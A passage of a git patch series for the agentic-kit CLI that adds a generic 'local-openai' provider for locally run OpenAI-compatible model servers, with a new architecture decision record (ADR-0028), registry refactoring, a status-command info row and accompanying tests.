From 941071e5769309e422638b3ed355504cc560e0f0 Mon Sep 17 00:00:00 2001 From: Chris Phillipson Date: Fri, 14 Aug 2026 23:35:54 -0400 Subject: [PATCH 1/9] =?UTF-8?q?feat:=20phase=201=20provider=20axis=20?= =?UTF-8?q?=E2=80=94=20local-openai,=20per-entry=20records,=20ADR-0028=20(?= =?UTF-8?q?F-28/F-29/F-30)=20(#143)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat: per-entry provider records and the generic local-openai provider row Phase 1 provider axis (ADR-0028, F-28): providerEntries is six explicit records — capabilities live on each entry instead of being derived from identity comparisons, matching hostEntries; the five pre-existing providers are pinned deep-equal to the old construction. local-openai names any OpenAI-compatible server the user runs: billing local, no credentials, the openai-compatible transport only, projections ruflo/codex/opencode (no aqe — AQE's provider set is upstream's; no claude — that projection expects an anthropic-compatible surface), no discovery claims, no builtin bindings. Remote-endpoint policy pinned: local is a billing claim, not topology — https off-box is legal, plain http stays loopback-only. * feat: ak status names local non-AQE bindings plainly Phase 1 provider axis (F-29): when kit.json declares a binding whose provider is local and not AQE-projected, status prints one info row naming provider, host, and endpoint with the not-an-AQE-provider-type fact. Registry-driven (billing + projections), so ollama never triggers it and a future provider of the same shape gets the same treatment; no bindings means no new output. * docs: accept ADR-0028 with corrections; PROVIDERS.md gains the local-openai recipe Proposed by adrianco in PR #131; accepted with the api_mode citation annotated as invalid per Hermes v0.20.0 source and the ollama/local-openai AQE-projection asymmetry stated as an intentional decision. PROVIDERS.md adds a brief current-state section on declaring a local-openai binding. --- docs/PROVIDERS.md | 28 +++ .../0028-local-openai-compatible-providers.md | 178 ++++++++++++++++++ docs/adr/README.md | 12 ++ src/commands/status.mjs | 14 ++ src/lib/adapters/registries.mjs | 103 ++++++++-- tests/kit/adapter-registries.test.mjs | 147 +++++++++++++++ tests/kit/status-command.test.mjs | 43 +++++ 7 files changed, 511 insertions(+), 14 deletions(-) create mode 100644 docs/adr/0028-local-openai-compatible-providers.md diff --git a/docs/PROVIDERS.md b/docs/PROVIDERS.md index b2defa6..fc28830 100644 --- a/docs/PROVIDERS.md +++ b/docs/PROVIDERS.md @@ -47,6 +47,33 @@ checks every binding declared in `kit.json` and prints a warning naming any entr unknown host, unknown provider, or unsupported transport — warnings only; nothing is changed or removed on your behalf. +## Local OpenAI-compatible servers + +Running a local model behind an OpenAI-compatible endpoint — MLX, LM Studio, `llama.cpp`, vLLM — +rather than Ollama? Declare it as a `local-openai` binding in `kit.json`: + +```json +{ + "integrations": { + "bindings": [ + { + "id": "mlx-via-codex", + "host": "codex", + "provider": "local-openai", + "transport": "openai-compatible", + "endpoint": "http://127.0.0.1:8080/v1" + } + ] + } +} +``` + +This gets you a named local inference target with `$0` billing and configured-grade provenance, +however the endpoint is served. `local-openai` is not an AQE provider type — `ollama` is. Loopback +`http://` is allowed; a remote endpoint requires `https://`; and the endpoint may never embed +credentials, fragments, or secret-bearing query parameters. See +[ADR-0028](adr/0028-local-openai-compatible-providers.md). + --- ## Level 0 — do nothing (the point) @@ -340,5 +367,6 @@ just makes the good default automatic and the customization reversible. [ADR-0006](adr/0006-primary-host-and-ambidextrous-mirroring.md). - Capability-driven integration axes, bindings, and provenance: [ADR-0016](adr/0016-capability-driven-integration-adapters.md). +- The generic local OpenAI-compatible provider: [ADR-0028](adr/0028-local-openai-compatible-providers.md). - Host env flags (`ENABLE_CLAUDE_CODE` / `ENABLE_CODEX`): upstream ruflo ADR-034, "Optional MCP Backends". diff --git a/docs/adr/0028-local-openai-compatible-providers.md b/docs/adr/0028-local-openai-compatible-providers.md new file mode 100644 index 0000000..1b6d635 --- /dev/null +++ b/docs/adr/0028-local-openai-compatible-providers.md @@ -0,0 +1,178 @@ +# ADR-0028 — One generic local OpenAI-compatible provider, not a vendor enumeration + +- **Status:** Accepted +- **Date:** 2026-08-11 +- **Updated:** 2026-08-14 +- **Update note:** Accepted with corrections after review of PR #131: the quoted Hermes + `api_mode: openai` value is annotated as invalid rather than reproduced as valid (F-30), and the + AQE-projection asymmetry between `ollama` and `local-openai` is now stated explicitly as + intentional (F-29). Implemented with in-tree projections `['ruflo', 'codex', 'opencode']`. +- **Deciders:** agentic-kit maintainers +- **Related:** [ADR-0011](0011-local-model-provenance-zero-cost-and-transcript-fidelity.md), + [ADR-0016](0016-capability-driven-integration-adapters.md), + [ADR-0021](0021-inference-provider-provenance.md) + +Proposed by [@adrianco](https://github.com/adrianco) in +[PR #131](https://github.com/pacphi/agentic-kit/pull/131); accepted with the corrections recorded +below. + +## Context + +[ADR-0016](0016-capability-driven-integration-adapters.md) separates inference **providers** from +execution **hosts**, and [ADR-0011](0011-local-model-provenance-zero-cost-and-transcript-fidelity.md) +governs what a local provider may claim. The provider registry declared exactly **one** local +provider — `ollama` — and `BUILTIN_BINDINGS` carried exactly two local bindings, +`ollama-via-claude` and `ollama-via-codex` (`src/lib/adapters/registries.mjs`, +`src/lib/adapters/bindings.mjs`). + +Ollama is not the only way a local model is served, and on real machines it is frequently not the +one in use. A local inference server is normally reached as an **OpenAI-compatible HTTP endpoint on +loopback**: MLX/`mlx_lm.server`, LM Studio, `llama.cpp`'s server, and vLLM all present that shape. +Nothing in ak could name such an endpoint as a provider, so a machine running one had its local +inference either invisible or misfiled. + +This was observed on the proposer's reference machine. `~/.hermes/config.yaml` declared: + +```yaml +provider: mlxlocal +providers: + mlxlocal: + api: http://127.0.0.1:8080/v1 + api_mode: openai + default_model: mlx-community--Qwen3-Coder-Next-4bit +``` + +`api_mode: openai` is not a valid Hermes value — verified against `NousResearch/hermes-agent` +v0.20.0's `_parse_api_mode`, which silently **drops** an unrecognized value rather than raising. +The valid set is `{chat_completions, codex_responses, anthropic_messages, bedrock_converse, +codex_app_server}` (the newer key spelling is `transport`); `chat_completions` is the correct value +here, and it is also the default the parser falls back to, which is why the endpoint worked despite +the invalid setting. The quote above is reproduced verbatim because it is what the proposer's +machine observed — but `api_mode: openai` is not read as valid Hermes configuration by this ADR. + +Two facts survive that correction. First, the endpoint is a plain OpenAI-compatible loopback URL — +the generic shape, not a vendor-specific protocol. Second, **the provider name is user-chosen** +(`mlxlocal`). No enumeration of vendor ids can cover that case; a registry that lists `mlx`, +`lmstudio`, `llamacpp`, and `vllm` still has no row for `mlxlocal`. + +The binding machinery already accommodates this. `validateEndpoint` accepts loopback `http://` +while rejecting remote `http://`, embedded credentials, fragments, and secret-bearing query +parameters (`src/lib/adapters/config.mjs`). `http://127.0.0.1:8080/v1` was already a legal binding +endpoint; only the provider row was missing. + +## Decision + +### 1. Add one generic provider row: `local-openai` + +A single provider represents "an OpenAI-compatible model server the user runs locally", regardless +of which program serves it: + +- `billing: 'local'`, `credentials: { kind: 'none' }`, `capabilities.pricing: 'zero'` — required by + the registry's own construction invariants for a local provider (`validateRegistries`), and + correct: a loopback server bills nothing. A server that wants a placeholder token does not make + the credential *required*, so `kind: 'none'` remains accurate. +- `transports: ['openai-compatible']` — the only transport the row may claim. Anthropic-compatible + and native shells stay Ollama's, established separately. +- `capabilities.modelDiscovery: false`, `runtimeDiscovery: false`, `quota: false`, + `cacheAccounting: 'unknown'`. A generic endpoint exposes no catalogue ak may rely on. Claiming + `/v1/models` discovery would assert a uniformity across MLX, LM Studio, llama.cpp, and vLLM this + ADR has not measured. +- `observability: []`. Ollama keeps `ollama-catalog` / `ollama-runtime`; the generic row gets + neither, because it has no daemon API ak has verified. + +`ollama` is unchanged. It keeps its richer transports and its two observability sources precisely +because those rest on a specific, known daemon. + +### 2. The endpoint carries the identity; the provider row does not + +Which program serves a `local-openai` binding is recorded as the **binding's** endpoint and model, +not as provider identity. A user running MLX on `:8080` and LM Studio on `:1234` has two bindings +against one provider — the same relation ADR-0011 already names for `ollama-via-claude` / +`ollama-via-codex`, one level more general. + +Consistent with [ADR-0021](0021-inference-provider-provenance.md), such a binding establishes +**configured** provenance and nothing stronger. The endpoint is user-declared, so it may not be +displayed as observed, and it does not upgrade model, token, cache, or digest claims. The `$0` +claim is the one exception and is a property of the billing type, not of evidence about the run. + +### 3. No built-in bindings for the generic provider + +`BUILTIN_BINDINGS` gains nothing here. Ollama's two rows are justified by a fixed, well-known +default port; a generic local endpoint has no default ak may presume. Bindings are declared by the +user in `kit.json` and validated by the existing `assertValidBinding` path. "Local" is a billing +claim (user-run, `$0` — ADR-0011), not a topology constraint: a binding may name a user-run server +on another machine over `https`, while plain `http` remains loopback-only per `validateEndpoint`. + +### 4. Replace the derived capability block with per-entry data + +`providerEntries` previously derived capabilities from identity comparisons inside a `.map` +(`modelDiscovery: id === 'ollama'`, `pricing: id === 'ollama' ? 'zero' : …`). That construction does +not survive a second local provider: `local-openai` needs `pricing: 'zero'` without +`modelDiscovery`, which the `id === 'ollama'` coupling cannot express. Provider entries become +explicit records carrying their own capability block, matching how `hostEntries` is already +written. + +### 5. `local-openai` projects to `['ruflo', 'codex', 'opencode']`, and is not an AQE provider type + +The in-tree row declares projections `['ruflo', 'codex', 'opencode']`. Two omissions, both +deliberate: + +- **No `'claude'` projection.** The row claims only the OpenAI-compatible transport; Claude's + projection expects an anthropic-compatible surface, which is Ollama's arrangement, not this + provider's. +- **No `'aqe'` projection — `local-openai` is not an AQE provider type; `ollama` is.** AQE's + provider set is upstream's own enumeration (`ollama`, `onnx` are its local types), not something + ak may extend by adding a row to its own registry. Projecting `local-openai` into AQE would + fabricate a provider identity AQE has never declared it understands. This is an intentional + asymmetry, not a bug: `ollama` gets AQE projection because AQE names it; `local-openai` does not, + because AQE does not. `ak status`'s provider surface reflects this distinction; surfacing it + clearly is a sibling work package's scope, not this ADR's. + +## Consequences + +- A machine serving models from MLX, LM Studio, llama.cpp, vLLM, or anything else speaking + OpenAI-compatible HTTP on loopback can be described to ak without a new ADR per vendor, and + without inventing a provider id the user did not choose. +- Every host that can be pointed at an OpenAI-compatible base URL gains a nameable local provider. +- The generic row deliberately supports **less** than `ollama`: no catalogue, no runtime probe, no + digest. Surfaces that show local-model detail for Ollama will show less for `local-openai`, and + that gap is the honest reading of the evidence, not a defect to paper over. +- `local-openai` is not an AQE provider type and is not projected as one. AQE's own local routing + (`ollama`, `onnx`) is a separate axis, defined upstream, and untouched by this ADR. + +## Alternatives considered + +- **Named rows per runtime (`mlx`, `lmstudio`, `llamacpp`, `vllm`).** Rejected for this revision on + two grounds. It cannot cover a user-named provider such as the observed `mlxlocal`, so the + generic row is required regardless and the named rows would be additive decoration. And each row + would assert transport and discovery facts for a server this repository has not measured — + precisely the derivation-without-measurement that + [docs/LOCAL-MODEL-VALIDATION.md](../LOCAL-MODEL-VALIDATION.md) exists to correct. Named rows + remain available later, gated on an evidence pass of the same kind, and would then be able to + claim real `/v1/models` discovery instead of guessing at it. +- **Extend `ollama` to mean "any local server".** Rejected: it would make an established provider + id lie about which daemon is answering, and `ollama-catalog` / `ollama-runtime` would be attached + to endpoints that serve neither. +- **Infer the runtime by probing the endpoint.** Rejected as a default: ak would be spawning + network probes during status collection to manufacture an identity claim that ADR-0021 would then + have to grade as inferred anyway. The user naming their own binding is cheaper and more honest. + +## References + +- `src/lib/adapters/registries.mjs` (`providerEntries`, `validateProviderAdapter`, + `validateRegistries` local-billing invariants), `src/lib/adapters/bindings.mjs` + (`BUILTIN_BINDINGS`, `assertValidBinding`), `src/lib/adapters/config.mjs` (`validateEndpoint` + loopback rule). +- ADR-0011 (local-model provenance, `$0`, transcript fidelity), ADR-0016 (provider/binding + separation), ADR-0021 (provenance is carried, never upgraded). +- Observed local configuration: `~/.hermes/config.yaml` on the proposer's reference machine + (`api: http://127.0.0.1:8080/v1`); the file's `api_mode: openai` is not a valid Hermes value (see + Context) and is not cited as correct usage. +- Hermes source verified for the `api_mode` correction: `NousResearch/hermes-agent` v0.20.0, + `_parse_api_mode`. +- [PR #131](https://github.com/pacphi/agentic-kit/pull/131) — original proposal, including + companion proposals for a host-adapter extension point (that PR's ADR-0029) and a Hermes reference + adapter (that PR's ADR-0030), neither adopted into this repository by this ADR. +- Tests: `tests/kit/adapter-registries.test.mjs` (deep-equality pin for the five pre-existing + providers, registry invariants for a second local provider, binding validation against a + loopback OpenAI-compatible endpoint). diff --git a/docs/adr/README.md b/docs/adr/README.md index 4e39037..db9cff4 100644 --- a/docs/adr/README.md +++ b/docs/adr/README.md @@ -36,6 +36,7 @@ Consequences**, and cites the grounded source it rests on where relevant. | [0025](0025-machine-footprint-metrics.md) | Machine footprint: infrastructure metrics for install, runtime, storage, and catalog | Implemented | | [0026](0026-about-component-directory.md) | About: a component directory that explains everything ak installs | Implemented | | [0027](0027-shared-project-census.md) | One project census, four scopes, every count explains itself | Implemented | +| [0028](0028-local-openai-compatible-providers.md) | One generic local OpenAI-compatible provider, not a vendor enumeration | Accepted | Theme: ADRs **0001–0006** define **dual-host LLM routing and leadership** — how `ak` lets ruflo route each development activity (architecture, implementation, testing, review, …) to the right host (Claude @@ -187,3 +188,14 @@ it, while Intelligence folds a repo's sub-directories and throwaway agent worktr identity because that is what a user picks — a distinction that was also a live bug, since keying the picker off identity while listing directories made 7 of 24 rows unreachable. Counts that remain different stay different, and say why. + +**0028** adds a second local provider, `local-openai`, because a local model is normally served as +an OpenAI-compatible endpoint on loopback — MLX, LM Studio, `llama.cpp`, vLLM — and frequently under +a name the *user* chose, which no vendor enumeration can cover; the registry previously knew only +`ollama`. It deliberately claims less than `ollama` (no catalogue, no runtime probe, no digest), +puts the runtime's identity in the binding's endpoint rather than in the provider id, and projects +to `['ruflo', 'codex', 'opencode']` only — no `claude` (the row claims only the OpenAI-compatible +transport) and no `aqe` (AQE's provider set is upstream's own enumeration; `ollama` is in it, +`local-openai` deliberately is not). Proposed by community contributor adrianco in PR #131, accepted +with a correction to the PR's quoted Hermes reference config, whose `api_mode: openai` is not a +valid Hermes value. diff --git a/src/commands/status.mjs b/src/commands/status.mjs index d757b59..2fe5c8b 100644 --- a/src/commands/status.mjs +++ b/src/commands/status.mjs @@ -24,6 +24,7 @@ import { coherence as adbCoherence } from '../lib/agentdb.mjs'; import { readJson } from '../lib/settings.mjs'; import { have } from '../lib/exec.mjs'; import { HOSTS, settingsTarget, isDefault, managedEnv, MANAGED_ENV_KEYS, hostInstallState, hostAuthState, bothHostsEnabled, aqeRouterFile, aqeSupportsAgentOverrides, credentialGaps, collectIntegrationFacts } from '../lib/providers.mjs'; +import { PROVIDER_REGISTRY } from '../lib/adapters/index.mjs'; import { configuredPolicyToAgentOverrides, agentOverridesDrift, routingSummary, divergedRoutes } from '../lib/routing.mjs'; import { qeCourtShipped, readQeCourtConfig, validateCourtConfig } from '../lib/qeCourt.mjs'; import { drift as ruvectorDrift } from '../lib/ruvector.mjs'; @@ -580,6 +581,19 @@ export async function collect({ pkgRoot, cwd = process.cwd() }) { } } } + // ADR-0028 F-29: local-openai is a local ($0) provider deliberately NOT + // projected to 'aqe' (unlike ollama, which is) — surface that asymmetry + // plainly so it reads as a fact, not a bug. Registry-driven (billing + + // projections), not an id check, so any future provider of the same + // shape gets the same treatment for free. + const providerById = Object.fromEntries(PROVIDER_REGISTRY.map((p) => [p.id, p])); + for (const binding of cfg.integrations?.bindings ?? []) { + const provider = providerById[binding.provider]; + if (!provider || provider.billing !== 'local' || provider.projections.includes('aqe')) continue; + const endpoint = binding.endpoint ? ` @ ${binding.endpoint}` : ''; + rows.push(row('providers', 'info', + `local binding: ${binding.provider} via ${binding.host}${endpoint} (${provider.billing} $0; not an AQE provider type)`)); + } } catch (e) { rows.push(row('providers', 'warn', `provider check unavailable: ${e.message}`)); } diff --git a/src/lib/adapters/registries.mjs b/src/lib/adapters/registries.mjs index d9cbcd5..29fb535 100644 --- a/src/lib/adapters/registries.mjs +++ b/src/lib/adapters/registries.mjs @@ -225,22 +225,97 @@ const hostEntries = [ }, ]; +// F-28: was a tuple-array `.map` that derived capabilities by identity +// comparison (`modelDiscovery: id === 'ollama'`, `pricing: id === 'ollama' ? +// 'zero' : …`) — a construction that cannot express a second local provider +// needing pricing 'zero' WITHOUT modelDiscovery (ADR-0028's local-openai). +// Explicit per-entry records instead, matching the style hostEntries already +// uses; the five pre-existing rows are pinned deep-equal in +// tests/kit/adapter-registries.test.mjs so this rewrite cannot silently +// change what ships. const providerEntries = [ - ['anthropic', 'Anthropic', 'subscription', { kind: 'host-login' }, ['native'], ['claude'], []], - ['openai', 'OpenAI', 'subscription', { kind: 'host-login' }, ['native', 'openai-compatible'], ['codex'], []], - ['google', 'Google Gemini', 'metered', { kind: 'environment', env: ['GOOGLE_API_KEY', 'GEMINI_API_KEY'] }, ['native'], ['ruflo', 'aqe'], []], - ['openrouter', 'OpenRouter', 'metered', { kind: 'environment', env: ['OPENROUTER_API_KEY'] }, ['openai-compatible'], ['ruflo', 'aqe', 'claude', 'codex', 'opencode'], ['openrouter-metadata']], - ['ollama', 'Ollama', 'local', { kind: 'none' }, ['native', 'openai-compatible', 'anthropic-compatible'], ['ruflo', 'aqe', 'claude', 'codex', 'opencode'], ['ollama-catalog', 'ollama-runtime']], -].map(([id, label, billing, credentials, transports, projections, observability]) => ({ - id, label, billing, credentials, transports, projections, observability, - legacy: { apiProvider: id !== 'openrouter' }, - capabilities: { - modelDiscovery: id === 'ollama', runtimeDiscovery: id === 'ollama', - pricing: id === 'ollama' ? 'zero' : (id === 'openrouter' ? 'dated-offline' : 'provider-specific'), - quota: id === 'anthropic' || id === 'openai', - cacheAccounting: id === 'ollama' ? 'unknown' : 'provider-dependent', + { + id: 'anthropic', label: 'Anthropic', billing: 'subscription', + credentials: { kind: 'host-login' }, transports: ['native'], projections: ['claude'], observability: [], + legacy: { apiProvider: true }, + capabilities: { + modelDiscovery: false, runtimeDiscovery: false, pricing: 'provider-specific', + quota: true, cacheAccounting: 'provider-dependent', + }, + }, + { + id: 'openai', label: 'OpenAI', billing: 'subscription', + credentials: { kind: 'host-login' }, transports: ['native', 'openai-compatible'], projections: ['codex'], observability: [], + legacy: { apiProvider: true }, + capabilities: { + modelDiscovery: false, runtimeDiscovery: false, pricing: 'provider-specific', + quota: true, cacheAccounting: 'provider-dependent', + }, + }, + { + id: 'google', label: 'Google Gemini', billing: 'metered', + credentials: { kind: 'environment', env: ['GOOGLE_API_KEY', 'GEMINI_API_KEY'] }, + transports: ['native'], projections: ['ruflo', 'aqe'], observability: [], + legacy: { apiProvider: true }, + capabilities: { + modelDiscovery: false, runtimeDiscovery: false, pricing: 'provider-specific', + quota: false, cacheAccounting: 'provider-dependent', + }, + }, + { + id: 'openrouter', label: 'OpenRouter', billing: 'metered', + credentials: { kind: 'environment', env: ['OPENROUTER_API_KEY'] }, + transports: ['openai-compatible'], projections: ['ruflo', 'aqe', 'claude', 'codex', 'opencode'], + observability: ['openrouter-metadata'], + // Unlike the other four, openrouter fronts many vendors' models behind one + // aggregator surface rather than being itself a single named vendor's API + // (F-28 dead-field trace: apiProviderIds() — the sole consumer — was + // removed in #100; the field is kept as honest metadata for any future + // reader, not for a live filter). + legacy: { apiProvider: false }, + capabilities: { + modelDiscovery: false, runtimeDiscovery: false, pricing: 'dated-offline', + quota: false, cacheAccounting: 'provider-dependent', + }, + }, + { + id: 'ollama', label: 'Ollama', billing: 'local', + credentials: { kind: 'none' }, + transports: ['native', 'openai-compatible', 'anthropic-compatible'], + projections: ['ruflo', 'aqe', 'claude', 'codex', 'opencode'], + observability: ['ollama-catalog', 'ollama-runtime'], + legacy: { apiProvider: true }, + capabilities: { + modelDiscovery: true, runtimeDiscovery: true, pricing: 'zero', + quota: false, cacheAccounting: 'unknown', + }, }, -})); + // ADR-0028: one generic local provider for any OpenAI-compatible model + // server on loopback (MLX, LM Studio, llama.cpp, vLLM, user-named + // endpoints), instead of enumerating vendors. + { + id: 'local-openai', label: 'Local OpenAI-compatible', billing: 'local', + credentials: { kind: 'none' }, transports: ['openai-compatible'], + // No 'aqe' — ollama is an AQE provider type, local-openai deliberately is + // not (ADR-0028's stated asymmetry). No 'claude' — assertValidBinding + // gates a binding's projection through provider.projections, and + // claude's own configProjection ('claude') expects an + // anthropic-compatible surface; this row claims only openai-compatible, + // so 'claude' is absent by design, not by oversight. + projections: ['ruflo', 'codex', 'opencode'], + // No daemon API ak has verified for a generic endpoint (unlike ollama's + // catalog/runtime sources), so no observability sources. + observability: [], + // Same reasoning as openrouter above: a generic OpenAI-compatible proxy + // for an arbitrary user-run server is not itself a distinct named + // vendor's API. + legacy: { apiProvider: false }, + capabilities: { + modelDiscovery: false, runtimeDiscovery: false, pricing: 'zero', + quota: false, cacheAccounting: 'unknown', + }, + }, +]; const HOST_MAP = registryFrom(hostEntries, (entry) => validateHostAdapter(entry, { projections: PROJECTION_MAP, observability: OBSERVABILITY_MAP }), 'host'); diff --git a/tests/kit/adapter-registries.test.mjs b/tests/kit/adapter-registries.test.mjs index 9009b96..8ead813 100644 --- a/tests/kit/adapter-registries.test.mjs +++ b/tests/kit/adapter-registries.test.mjs @@ -8,6 +8,7 @@ import { validateRegistries, validateHostAdapter, defaultHostMap, + assertValidBinding, } from '../../src/lib/adapters/index.mjs'; import { validHost, validProvider, validRegistries, @@ -151,3 +152,149 @@ test('validateHostAdapter accepts a host with an explicit boolean enabledByDefau assert.doesNotThrow(() => validateHostAdapter(validHost({ enabledByDefault: true }))); assert.doesNotThrow(() => validateHostAdapter(validHost({ enabledByDefault: false }))); }); + +// ── F-28: providerEntries moved from a tuple-array `.map` (capabilities derived +// by identity comparison, e.g. `modelDiscovery: id === 'ollama'`) to explicit +// per-entry object records — the same style hostEntries already uses. That +// construction could not express a second local provider needing pricing +// 'zero' WITHOUT modelDiscovery (ADR-0028's local-openai). This test hardcodes +// the five pre-existing rows' expected shape (not re-derived from the source) +// so the refactor cannot silently change what ships. See also ADR-0028. +test('F-28: the five pre-existing providers are unchanged by the per-entry rewrite', () => { + const byId = Object.fromEntries(PROVIDER_REGISTRY.map((entry) => [entry.id, entry])); + assert.deepEqual(byId.anthropic, { + id: 'anthropic', label: 'Anthropic', billing: 'subscription', + credentials: { kind: 'host-login' }, transports: ['native'], projections: ['claude'], observability: [], + legacy: { apiProvider: true }, + capabilities: { + modelDiscovery: false, runtimeDiscovery: false, pricing: 'provider-specific', + quota: true, cacheAccounting: 'provider-dependent', + }, + }); + assert.deepEqual(byId.openai, { + id: 'openai', label: 'OpenAI', billing: 'subscription', + credentials: { kind: 'host-login' }, transports: ['native', 'openai-compatible'], projections: ['codex'], observability: [], + legacy: { apiProvider: true }, + capabilities: { + modelDiscovery: false, runtimeDiscovery: false, pricing: 'provider-specific', + quota: true, cacheAccounting: 'provider-dependent', + }, + }); + assert.deepEqual(byId.google, { + id: 'google', label: 'Google Gemini', billing: 'metered', + credentials: { kind: 'environment', env: ['GOOGLE_API_KEY', 'GEMINI_API_KEY'] }, + transports: ['native'], projections: ['ruflo', 'aqe'], observability: [], + legacy: { apiProvider: true }, + capabilities: { + modelDiscovery: false, runtimeDiscovery: false, pricing: 'provider-specific', + quota: false, cacheAccounting: 'provider-dependent', + }, + }); + assert.deepEqual(byId.openrouter, { + id: 'openrouter', label: 'OpenRouter', billing: 'metered', + credentials: { kind: 'environment', env: ['OPENROUTER_API_KEY'] }, + transports: ['openai-compatible'], projections: ['ruflo', 'aqe', 'claude', 'codex', 'opencode'], + observability: ['openrouter-metadata'], + legacy: { apiProvider: false }, + capabilities: { + modelDiscovery: false, runtimeDiscovery: false, pricing: 'dated-offline', + quota: false, cacheAccounting: 'provider-dependent', + }, + }); + assert.deepEqual(byId.ollama, { + id: 'ollama', label: 'Ollama', billing: 'local', + credentials: { kind: 'none' }, + transports: ['native', 'openai-compatible', 'anthropic-compatible'], + projections: ['ruflo', 'aqe', 'claude', 'codex', 'opencode'], + observability: ['ollama-catalog', 'ollama-runtime'], + legacy: { apiProvider: true }, + capabilities: { + modelDiscovery: true, runtimeDiscovery: true, pricing: 'zero', + quota: false, cacheAccounting: 'unknown', + }, + }); +}); + +// ADR-0028: one generic local provider for any OpenAI-compatible model server +// on loopback (MLX, LM Studio, llama.cpp, vLLM, user-named endpoints), instead +// of enumerating vendors. +test('ADR-0028: local-openai is registered with the accepted shape', () => { + const localOpenai = PROVIDER_REGISTRY.find((entry) => entry.id === 'local-openai'); + assert.ok(localOpenai, 'local-openai must be registered'); + assert.equal(localOpenai.billing, 'local'); + assert.deepEqual(localOpenai.credentials, { kind: 'none' }); + assert.deepEqual(localOpenai.transports, ['openai-compatible']); + // Deliberate asymmetry vs ollama: no 'aqe' (ollama is an AQE provider type, + // local-openai is not) and no 'claude' (claude's projection expects an + // anthropic-compatible surface; local-openai claims only openai-compatible). + assert.deepEqual(localOpenai.projections, ['ruflo', 'codex', 'opencode']); + assert.deepEqual(localOpenai.observability, []); + assert.deepEqual(localOpenai.capabilities, { + modelDiscovery: false, runtimeDiscovery: false, pricing: 'zero', + quota: false, cacheAccounting: 'unknown', + }); +}); + +test('PROVIDER_REGISTRY has exactly six entries after the local-openai addition', () => { + assert.deepEqual(PROVIDER_REGISTRY.map((entry) => entry.id).sort(), [ + 'anthropic', 'google', 'local-openai', 'ollama', 'openai', 'openrouter', + ]); +}); + +// assertValidBinding gating: local-openai's projections/transports are +// exercised end-to-end through a user-declared binding, both the accepted +// shape and the rejections the accepted ADR design implies. +test('assertValidBinding accepts a user-declared local-openai binding on codex', () => { + const binding = assertValidBinding({ + id: 'local-openai-via-codex', host: 'codex', provider: 'local-openai', + transport: 'openai-compatible', endpoint: 'http://127.0.0.1:8080/v1', + provenance: 'configured', + }); + assert.equal(binding.provider, 'local-openai'); + assert.equal(binding.projection, 'codex'); +}); + +test('assertValidBinding rejects a local-openai binding on the native transport', () => { + assert.throws(() => assertValidBinding({ + id: 'local-openai-native', host: 'codex', provider: 'local-openai', + transport: 'native', endpoint: 'http://127.0.0.1:8080/v1', provenance: 'configured', + }), /unsupported transport/); +}); + +test('assertValidBinding rejects local-openai for the aqe projection', () => { + assert.throws(() => assertValidBinding({ + id: 'local-openai-aqe', host: 'codex', provider: 'local-openai', + transport: 'openai-compatible', endpoint: 'http://127.0.0.1:8080/v1', + projection: 'aqe', provenance: 'configured', + }), /does not support projection aqe/); +}); + +test('assertValidBinding rejects local-openai on claude host default projection', () => { + assert.throws(() => assertValidBinding({ + id: 'local-openai-claude', host: 'claude', provider: 'local-openai', + transport: 'openai-compatible', endpoint: 'http://127.0.0.1:8080/v1', + provenance: 'configured', + }), /does not support projection claude/); +}); + +// Endpoint topology pin (review nit): "local" is a BILLING claim (user-run, +// $0 — ADR-0011), not a loopback constraint. A user-run server on another +// machine is legal over https; plain http stays loopback-only +// (validateEndpoint's remote-http rule). Pinned so a future "tighten local +// to loopback" change is a deliberate decision, not drift. +test('assertValidBinding accepts a remote https endpoint for local-openai (billing, not topology)', () => { + const binding = assertValidBinding({ + id: 'local-openai-lan', host: 'codex', provider: 'local-openai', + transport: 'openai-compatible', endpoint: 'https://models.lan.example/v1', + provenance: 'configured', + }); + assert.equal(binding.endpoint, 'https://models.lan.example/v1'); +}); + +test('assertValidBinding rejects a remote plain-http endpoint for local-openai', () => { + assert.throws(() => assertValidBinding({ + id: 'local-openai-remote-http', host: 'codex', provider: 'local-openai', + transport: 'openai-compatible', endpoint: 'http://models.lan.example/v1', + provenance: 'configured', + }), /remote-http/); +}); diff --git a/tests/kit/status-command.test.mjs b/tests/kit/status-command.test.mjs index 721442e..4a5c4ca 100644 --- a/tests/kit/status-command.test.mjs +++ b/tests/kit/status-command.test.mjs @@ -515,4 +515,47 @@ test('--json carries the opencode rows with the same shape the dashboard consume } finally { process.chdir(cwd); } }); +// ADR-0028 F-29: local-openai is a local ($0) provider deliberately NOT +// projected to 'aqe' (unlike ollama, which is) — status must surface that +// asymmetry plainly instead of letting it read as a bug. +test('a local-openai binding surfaces an info row naming provider, host, endpoint, and the non-AQE fact', async () => { + seedHome(); + const cfg = loadKitConfig(); + cfg.integrations.bindings = [{ + id: 'local-openai-via-codex', host: 'codex', provider: 'local-openai', + transport: 'openai-compatible', endpoint: 'http://127.0.0.1:8080/v1', + provenance: 'configured', + }]; + writeKitConfig(HOME, cfg); + const rows = await collect(); + const hit = rowsFor(rows, 'providers').find((r) => /local-openai/.test(r.message)); + assert.ok(hit, `expected a local-openai row: ${rowsFor(rows, 'providers').map((r) => r.message)}`); + assert.equal(hit.level, 'info'); + assert.equal(hit.fix, null, 'advisory only — nothing for sync to fix'); + assert.match(hit.message, /codex/); + assert.match(hit.message, /http:\/\/127\.0\.0\.1:8080\/v1/); + assert.match(hit.message, /not an AQE provider/i); +}); + +test('an ollama-only binding (local AND aqe-projected) triggers no local-non-AQE row', async () => { + seedHome(); + const cfg = loadKitConfig(); + cfg.integrations.bindings = [{ + id: 'ollama-via-claude', host: 'claude', provider: 'ollama', + transport: 'anthropic-compatible', endpoint: 'http://127.0.0.1:11434', + provenance: 'configured', + }]; + writeKitConfig(HOME, cfg); + const rows = await collect(); + const stray = rowsFor(rows, 'providers').find((r) => /not an AQE provider/i.test(r.message)); + assert.equal(stray, undefined, `ollama is AQE-projected and must not trigger the note: ${JSON.stringify(stray)}`); +}); + +test('no bindings declared: no local-non-AQE row (status stays unchanged for existing users)', async () => { + seedHome(); + const rows = await collect(); + const stray = rowsFor(rows, 'providers').find((r) => /not an AQE provider/i.test(r.message)); + assert.equal(stray, undefined, `expected zero local-non-AQE rows with no bindings: ${JSON.stringify(stray)}`); +}); + test.after(() => rmrf(HOME, PROJECT)); From 086df356c3e3e3c1d156067703c1c2cfd6fd5417 Mon Sep 17 00:00:00 2001 From: Chris Phillipson Date: Sat, 15 Aug 2026 18:03:24 -0400 Subject: [PATCH 2/9] =?UTF-8?q?feat:=20phase=203a=20=E2=80=94=20quota=20su?= 